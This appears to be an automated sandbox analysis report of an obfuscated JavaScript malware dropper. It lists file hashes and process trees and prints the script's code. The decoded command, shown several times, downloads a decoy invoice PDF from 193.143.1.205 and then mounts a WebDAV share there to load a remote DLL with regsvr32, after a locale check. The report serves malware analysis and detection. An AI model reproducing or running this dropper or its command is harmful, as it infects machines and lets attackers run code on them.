Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (14891), with CRLF line terminators
Entropy (8bit):	4.897534415309869
TrID:
File name:	22388142366532662.js
File size:	18'309 bytes
MD5:	43fad4c7c8c8447a50135089e51ae3d6
SHA1:	daaa254bf792c9a0ac1e6325247e60b251e86386
SHA256:	501ffba502049e5add7fdffc525a1dc52acf078fd4d87a72cb8f4af45a4845d2
SHA512:	8b38fa95496f73a225d1bda388dd208c37035fcd31c18b08986801e674ebcc00f54aa950eee08d82e4b58ab8a35b39c33366b850686f9548133686a33af12b95
SSDEEP:	384:3kjkCDk86kjkpbitcId962RimqwCtZVvtTe9:3kjkCDk86kjkpbitcIdxqrZVq
TLSH:	A18276D0D6F8EEDCC6CC426836AE9CAD478C21C4C5C251DD256144B42BE6BF20BEB8B5
File Content Preview:	function levzdx(){mnwqs=[1031,3079,5127,4103,2055,3072];var lldcfe=this[zxoqa+wlchsetxh+dokful+nlgpufedy+psspsgm+pmmuow+pplial+pymkzm](this[izxqy+fegsdgaq+mgtpukjy+dokful+wsnnij+zxoqa+pymkzm][xxegdpgf+dokful+psspsgm+wlchsetxh+pymkzm+psspsgm+wucdy+tbbqfedo

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	0
Start time:	22:05:08
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22388142366532662.js"
Imagebase:	0x7ff603d00000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	22:05:09
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll
Imagebase:	0x7ff6feb00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	22:05:09
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	22:05:09
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	22:05:15
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	22:05:15
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6feb00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	22:05:15
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7c1e60000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	22:05:16
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	22:05:16
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	22:05:16
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1688,i,10205647334591516316,599776967346867888,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function levzdx() {	levzdx() ➔ undefined
1	mnwqs = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var lldcfe = this[zxoqa + wlchsetxh + dokful + nlgpufedy + psspsgm + pmmuow + pplial + pymkzm] ( this[izxqy + fegsdgaq + mgtpukjy + dokful + wsnnij + zxoqa + pymkzm][xxegdpgf + dokful + psspsgm + wlchsetxh + pymkzm + psspsgm + wucdy + tbbqfedoi + knbbrdkag + psspsgm + mgtpukjy + pymkzm] ( izxqy + fegsdgaq + mgtpukjy + dokful + wsnnij + zxoqa + pymkzm + prepfgu + fegsdgaq + trgchf + psspsgm + kpiiz + kpiiz ) [ifowjhor + psspsgm + rewmfgtys + ifowjhor + psspsgm + wlchsetxh + xyrqjrwk] ( klqfbpy + sqwjtnuzi + zzskt + xskff + dmzkrly + xxegdpgf + zxtaum + ifowjhor + ifowjhor + zzskt + osqmh + tnpjd + dmzkrly + zxtaum + fegsdgaq + zzskt + ifowjhor + twtyz + xxegdpgf + alcghelii + pplial + pymkzm + dokful + alcghelii + kpiiz + mfbifzsq + etzbazhbn + wlchsetxh + pplial + psspsgm + kpiiz + twtyz + pmmuow + pplial + pymkzm + psspsgm + dokful + pplial + wlchsetxh + pymkzm + wsnnij + alcghelii + pplial + wlchsetxh + kpiiz + twtyz + wwfdbq + alcghelii + mgtpukjy + wlchsetxh + kpiiz + psspsgm ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( nwjjzrnhe = 0 ; nwjjzrnhe < mnwqs[kpiiz + psspsgm + pplial + rewmfgtys + pymkzm + trgchf] ; ++ nwjjzrnhe )
4	{
5	if ( lldcfe == mnwqs[nwjjzrnhe] )
6	{
7	lldcfe = true;
8	break ;
9	}
10	}
11	if ( lldcfe !== true )
12	this[izxqy + fegsdgaq + mgtpukjy + dokful + wsnnij + zxoqa + pymkzm][dtwzvknht + aqiexx + wsnnij + pymkzm] ( );
13	this[izxqy + fegsdgaq + mgtpukjy + dokful + wsnnij + zxoqa + pymkzm][xxegdpgf + dokful + psspsgm + wlchsetxh + pymkzm + psspsgm + wucdy + tbbqfedoi + knbbrdkag + psspsgm + mgtpukjy + pymkzm] ( izxqy + fegsdgaq + mgtpukjy + dokful + wsnnij + zxoqa + pymkzm + prepfgu + fegsdgaq + trgchf + psspsgm + kpiiz + kpiiz ) [dokful + aqiexx + pplial] ( mgtpukjy + xeycxyver + xyrqjrwk + mfbifzsq + szdpjp + mgtpukjy + mfbifzsq + zxoqa + alcghelii + dwzuubry + psspsgm + dokful + nlgpufedy + trgchf + psspsgm + kpiiz + kpiiz + prepfgu + psspsgm + ybofc + psspsgm + mfbifzsq + vzxkbyi + xxegdpgf + alcghelii + xeycxyver + xeycxyver + wlchsetxh + pplial + xyrqjrwk + mfbifzsq + cufahibw + pmmuow + pplial + hmgzqs + alcghelii + hsfejpzgn + psspsgm + vzxkbyi + izxqy + psspsgm + tbbqfedoi + ifowjhor + psspsgm + wmeru + aqiexx + psspsgm + nlgpufedy + pymkzm + mfbifzsq + vzxkbyi + wucdy + aqiexx + pymkzm + epghxvk + wsnnij + kpiiz + psspsgm + mfbifzsq + kptrq + pymkzm + psspsgm + xeycxyver + zxoqa + kptrq + twtyz + wsnnij + pplial + hmgzqs + alcghelii + wsnnij + mgtpukjy + psspsgm + prepfgu + zxoqa + xyrqjrwk + akpzgce + mfbifzsq + trgchf + pymkzm + pymkzm + zxoqa + gqewpxzgf + szdpjp + szdpjp + zpymlpii + enscdq + bqerp + prepfgu + zpymlpii + ppphe + bqerp + prepfgu + zpymlpii + prepfgu + jimtznody + klulhb + wmkbk + szdpjp + wsnnij + pplial + hmgzqs + alcghelii + wsnnij + mgtpukjy + psspsgm + prepfgu + zxoqa + trgchf + zxoqa + cufahibw + bdjrn + bdjrn + nlgpufedy + pymkzm + wlchsetxh + dokful + pymkzm + mfbifzsq + kptrq + pymkzm + psspsgm + xeycxyver + zxoqa + kptrq + twtyz + wsnnij + pplial + hmgzqs + alcghelii + wsnnij + mgtpukjy + psspsgm + prepfgu + zxoqa + xyrqjrwk + akpzgce + bdjrn + bdjrn + mgtpukjy + xeycxyver + xyrqjrwk + mfbifzsq + szdpjp + mgtpukjy + mfbifzsq + pplial + psspsgm + pymkzm + mfbifzsq + aqiexx + nlgpufedy + psspsgm + mfbifzsq + twtyz + twtyz + zpymlpii + enscdq + bqerp + prepfgu + zpymlpii + ppphe + bqerp + prepfgu + zpymlpii + prepfgu + jimtznody + klulhb + wmkbk + cqueqgug + bbljsyzof + bbljsyzof + bbljsyzof + bbljsyzof + twtyz + xyrqjrwk + wlchsetxh + hmgzqs + dwzuubry + dwzuubry + dwzuubry + dokful + alcghelii + alcghelii + pymkzm + twtyz + bdjrn + bdjrn + mgtpukjy + xeycxyver + xyrqjrwk + mfbifzsq + szdpjp + mgtpukjy + mfbifzsq + dokful + psspsgm + rewmfgtys + nlgpufedy + hmgzqs + dokful + bqerp + jimtznody + mfbifzsq + szdpjp + nlgpufedy + mfbifzsq + twtyz + twtyz + zpymlpii + enscdq + bqerp + prepfgu + zpymlpii + ppphe + bqerp + prepfgu + zpymlpii + prepfgu + jimtznody + klulhb + wmkbk + cqueqgug + bbljsyzof + bbljsyzof + bbljsyzof + bbljsyzof + twtyz + xyrqjrwk + wlchsetxh + hmgzqs + dwzuubry + dwzuubry + dwzuubry + dokful + alcghelii + alcghelii + pymkzm + twtyz + wmkbk + ljhfw + zpymlpii + ljhfw + jimtznody + vkckfc + klulhb + ljhfw + ljhfw + bqerp + bbljsyzof + zpymlpii + enscdq + prepfgu + xyrqjrwk + kpiiz + kpiiz, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\5717260773819.dll",0,false) ➔ 0
14	}
15	enscdq = "A";
16	enscdq = "p";
17	enscdq = "J";
18	enscdq = "k";
19	enscdq = "G";
20	enscdq = "h";
21	enscdq = "N";
22	enscdq = "n";
23	enscdq = "d";
24	enscdq = "H";
25	enscdq = "X";
26	enscdq = "N";
27	enscdq = "P";
28	enscdq = "I";
29	enscdq = "o";
30	enscdq = "o";
31	enscdq = "9";
32	akpzgce = "Z";
33	akpzgce = "n";
34	akpzgce = "u";
35	akpzgce = "Y";
36	akpzgce = "J";
37	akpzgce = "i";
38	akpzgce = "n";
39	akpzgce = "X";
40	akpzgce = "F";
41	akpzgce = "f";
42	akpzgce = "g";
43	akpzgce = "R";
44	akpzgce = "b";
45	akpzgce = "a";
46	akpzgce = "f";
47	aqiexx = "p";
48	aqiexx = "e";
49	aqiexx = "I";
50	aqiexx = "r";
51	aqiexx = "v";
52	aqiexx = "u";
53	aqiexx = "H";
54	aqiexx = "V";
55	aqiexx = "u";
56	tbbqfedoi = "r";
57	tbbqfedoi = "y";
58	tbbqfedoi = "H";
59	tbbqfedoi = "k";
60	tbbqfedoi = "w";
61	tbbqfedoi = "h";
62	tbbqfedoi = "J";
63	tbbqfedoi = "c";
64	tbbqfedoi = "M";
65	tbbqfedoi = "m";
66	tbbqfedoi = "V";
67	tbbqfedoi = "s";
68	tbbqfedoi = "H";
69	tbbqfedoi = "Q";
70	tbbqfedoi = "M";
71	tbbqfedoi = "G";
72	tbbqfedoi = "v";
73	tbbqfedoi = "q";
74	tbbqfedoi = "C";
75	tbbqfedoi = "Z";
76	tbbqfedoi = "P";
77	tbbqfedoi = "E";
78	tbbqfedoi = "d";
79	tbbqfedoi = "t";
80	tbbqfedoi = "j";
81	tbbqfedoi = "G";
82	tbbqfedoi = "H";
83	tbbqfedoi = "I";
84	tbbqfedoi = "x";
85	tbbqfedoi = "Y";
86	tbbqfedoi = "R";
87	tbbqfedoi = "p";
88	tbbqfedoi = "j";
89	tbbqfedoi = "Y";
90	tbbqfedoi = "p";
91	tbbqfedoi = "A";
92	tbbqfedoi = "V";
93	tbbqfedoi = "b";
94	fegsdgaq = "B";
95	fegsdgaq = "E";
96	fegsdgaq = "u";
97	fegsdgaq = "s";
98	fegsdgaq = "U";
99	fegsdgaq = "B";
100	fegsdgaq = "d";
101	fegsdgaq = "A";
102	fegsdgaq = "n";
103	fegsdgaq = "r";
104	fegsdgaq = "R";
105	fegsdgaq = "v";
106	fegsdgaq = "L";
107	fegsdgaq = "e";
108	fegsdgaq = "e";
109	fegsdgaq = "u";
110	fegsdgaq = "A";
111	fegsdgaq = "Z";
112	fegsdgaq = "L";
113	fegsdgaq = "X";
114	fegsdgaq = "R";
115	fegsdgaq = "d";
116	fegsdgaq = "a";
117	fegsdgaq = "P";
118	fegsdgaq = "t";
119	fegsdgaq = "s";
120	fegsdgaq = "Y";
121	fegsdgaq = "w";
122	fegsdgaq = "K";
123	fegsdgaq = "n";
124	fegsdgaq = "N";
125	fegsdgaq = "V";
126	fegsdgaq = "t";
127	fegsdgaq = "z";
128	fegsdgaq = "W";
129	fegsdgaq = "o";
130	fegsdgaq = "l";
131	fegsdgaq = "W";
132	fegsdgaq = "Q";
133	fegsdgaq = "S";
134	mfbifzsq = "X";
135	mfbifzsq = "V";
136	mfbifzsq = "I";
137	mfbifzsq = "M";
138	mfbifzsq = "U";
139	mfbifzsq = "G";
140	mfbifzsq = "Q";
141	mfbifzsq = "R";
142	mfbifzsq = "s";
143	mfbifzsq = "R";
144	mfbifzsq = "o";
145	mfbifzsq = "o";
146	mfbifzsq = "l";
147	mfbifzsq = "c";
148	mfbifzsq = "D";
149	mfbifzsq = "k";
150	mfbifzsq = "B";
151	mfbifzsq = "C";
152	mfbifzsq = "t";
153	mfbifzsq = "F";
154	mfbifzsq = "u";
155	mfbifzsq = "n";
156	mfbifzsq = "V";
157	mfbifzsq = "S";
158	mfbifzsq = "F";
159	mfbifzsq = "b";
160	mfbifzsq = "B";
161	mfbifzsq = "x";
162	mfbifzsq = "P";
163	mfbifzsq = "L";
164	mfbifzsq = "p";
165	mfbifzsq = "Y";
166	mfbifzsq = "d";
167	mfbifzsq = "h";
168	mfbifzsq = "Z";
169	mfbifzsq = "T";
170	mfbifzsq = " ";
171	zzskt = "h";
172	zzskt = "U";
173	zzskt = "H";
174	zzskt = "y";
175	zzskt = "j";
176	zzskt = "d";
177	zzskt = "r";
178	zzskt = "N";
179	zzskt = "A";
180	zzskt = "k";
181	zzskt = "e";
182	zzskt = "B";
183	zzskt = "y";
184	zzskt = "Z";
185	zzskt = "T";
186	zzskt = "t";
187	zzskt = "Y";
188	zzskt = "A";
189	zzskt = "d";
190	zzskt = "E";
191	szdpjp = "R";
192	szdpjp = "Q";
193	szdpjp = "L";
194	szdpjp = "p";
195	szdpjp = "R";
196	szdpjp = "f";
197	szdpjp = "K";
198	szdpjp = "o";
199	szdpjp = "s";
200	szdpjp = "g";
201	szdpjp = "X";
202	szdpjp = "i";
203	szdpjp = "S";
204	szdpjp = "/";
205	vkckfc = "E";
206	vkckfc = "O";
207	vkckfc = "J";
208	vkckfc = "g";
209	vkckfc = "E";
210	vkckfc = "G";
211	vkckfc = "v";
212	vkckfc = "W";
213	vkckfc = "S";
214	vkckfc = "x";
215	vkckfc = "l";
216	vkckfc = "A";
217	vkckfc = "F";
218	vkckfc = "L";
219	vkckfc = "N";
220	vkckfc = "W";
221	vkckfc = "s";
222	vkckfc = "V";
223	vkckfc = "d";
224	vkckfc = "B";
225	vkckfc = "K";
226	vkckfc = "k";
227	vkckfc = "I";
228	vkckfc = "d";
229	vkckfc = "B";
230	vkckfc = "a";
231	vkckfc = "z";
232	vkckfc = "y";
233	vkckfc = "u";
234	vkckfc = "6";
235	wmkbk = "R";
236	wmkbk = "S";
237	wmkbk = "N";
238	wmkbk = "r";
239	wmkbk = "v";
240	wmkbk = "R";
241	wmkbk = "r";
242	wmkbk = "5";
243	cqueqgug = "A";
244	cqueqgug = "i";
245	cqueqgug = "A";
246	cqueqgug = "Z";
247	cqueqgug = "v";
248	cqueqgug = "V";
249	cqueqgug = "C";
250	cqueqgug = "O";
251	cqueqgug = "c";
252	cqueqgug = "D";
253	cqueqgug = "V";
254	cqueqgug = "W";
255	cqueqgug = "e";
256	cqueqgug = "o";
257	cqueqgug = "@";
258	wlchsetxh = "G";
259	wlchsetxh = "l";
260	wlchsetxh = "w";
261	wlchsetxh = "g";
262	wlchsetxh = "Y";
263	wlchsetxh = "z";
264	wlchsetxh = "j";
265	wlchsetxh = "p";
266	wlchsetxh = "k";
267	wlchsetxh = "n";
268	wlchsetxh = "k";
269	wlchsetxh = "S";
270	wlchsetxh = "w";
271	wlchsetxh = "T";
272	wlchsetxh = "P";
273	wlchsetxh = "m";
274	wlchsetxh = "E";
275	wlchsetxh = "e";
276	wlchsetxh = "c";
277	wlchsetxh = "i";
278	wlchsetxh = "C";
279	wlchsetxh = "a";
280	izxqy = "e";
281	izxqy = "a";
282	izxqy = "n";
283	izxqy = "C";
284	izxqy = "W";
285	wucdy = "t";
286	wucdy = "f";
287	wucdy = "A";
288	wucdy = "B";
289	wucdy = "D";
290	wucdy = "O";
291	osqmh = "g";
292	osqmh = "O";
293	osqmh = "k";
294	osqmh = "x";
295	osqmh = "N";
296	mgtpukjy = "B";
297	mgtpukjy = "U";
298	mgtpukjy = "i";
299	mgtpukjy = "f";
300	mgtpukjy = "r";
301	mgtpukjy = "L";
302	mgtpukjy = "c";
303	mgtpukjy = "D";
304	mgtpukjy = "O";
305	mgtpukjy = "B";
306	mgtpukjy = "N";
307	mgtpukjy = "j";
308	mgtpukjy = "w";
309	mgtpukjy = "M";
310	mgtpukjy = "l";
311	mgtpukjy = "k";
312	mgtpukjy = "W";
313	mgtpukjy = "l";
314	mgtpukjy = "j";
315	mgtpukjy = "k";
316	mgtpukjy = "O";
317	mgtpukjy = "Q";
318	mgtpukjy = "g";
319	mgtpukjy = "m";
320	mgtpukjy = "j";
321	mgtpukjy = "J";
322	mgtpukjy = "T";
323	mgtpukjy = "O";
324	mgtpukjy = "t";
325	mgtpukjy = "N";
326	mgtpukjy = "a";
327	mgtpukjy = "q";
328	mgtpukjy = "v";
329	mgtpukjy = "w";
330	mgtpukjy = "I";
331	mgtpukjy = "v";
332	mgtpukjy = "S";
333	mgtpukjy = "R";
334	mgtpukjy = "r";
335	mgtpukjy = "y";
336	mgtpukjy = "i";
337	mgtpukjy = "b";
338	mgtpukjy = "V";
339	mgtpukjy = "u";
340	mgtpukjy = "c";
341	dokful = "I";
342	dokful = "A";
343	dokful = "N";
344	dokful = "K";
345	dokful = "Z";
346	dokful = "y";
347	dokful = "m";
348	dokful = "c";
349	dokful = "q";
350	dokful = "j";
351	dokful = "o";
352	dokful = "k";
353	dokful = "t";
354	dokful = "n";
355	dokful = "X";
356	dokful = "g";
357	dokful = "c";
358	dokful = "S";
359	dokful = "E";
360	dokful = "s";
361	dokful = "n";
362	dokful = "E";
363	dokful = "A";
364	dokful = "h";
365	dokful = "r";
366	bdjrn = "&";
367	etzbazhbn = "b";
368	etzbazhbn = "m";
369	etzbazhbn = "o";
370	etzbazhbn = "Y";
371	etzbazhbn = "W";
372	etzbazhbn = "r";
373	etzbazhbn = "l";
374	etzbazhbn = "r";
375	etzbazhbn = "A";
376	etzbazhbn = "Z";
377	etzbazhbn = "P";
378	etzbazhbn = "n";
379	etzbazhbn = "Z";
380	etzbazhbn = "h";
381	etzbazhbn = "E";
382	etzbazhbn = "K";
383	etzbazhbn = "I";
384	etzbazhbn = "J";
385	etzbazhbn = "U";
386	etzbazhbn = "Y";
387	etzbazhbn = "F";
388	etzbazhbn = "c";
389	etzbazhbn = "q";
390	etzbazhbn = "o";
391	etzbazhbn = "Y";
392	etzbazhbn = "F";
393	etzbazhbn = "J";
394	etzbazhbn = "R";
395	etzbazhbn = "z";
396	etzbazhbn = "t";
397	etzbazhbn = "l";
398	etzbazhbn = "h";
399	etzbazhbn = "b";
400	etzbazhbn = "K";
401	etzbazhbn = "P";
402	vzxkbyi = "I";
403	vzxkbyi = "a";
404	vzxkbyi = "p";
405	vzxkbyi = "Y";
406	vzxkbyi = "m";
407	vzxkbyi = "V";
408	vzxkbyi = "R";
409	vzxkbyi = "y";
410	vzxkbyi = "Y";
411	vzxkbyi = "d";
412	vzxkbyi = "u";
413	vzxkbyi = "f";
414	vzxkbyi = "d";
415	vzxkbyi = "i";
416	vzxkbyi = "C";
417	vzxkbyi = "E";
418	vzxkbyi = "A";
419	vzxkbyi = "D";
420	vzxkbyi = "t";
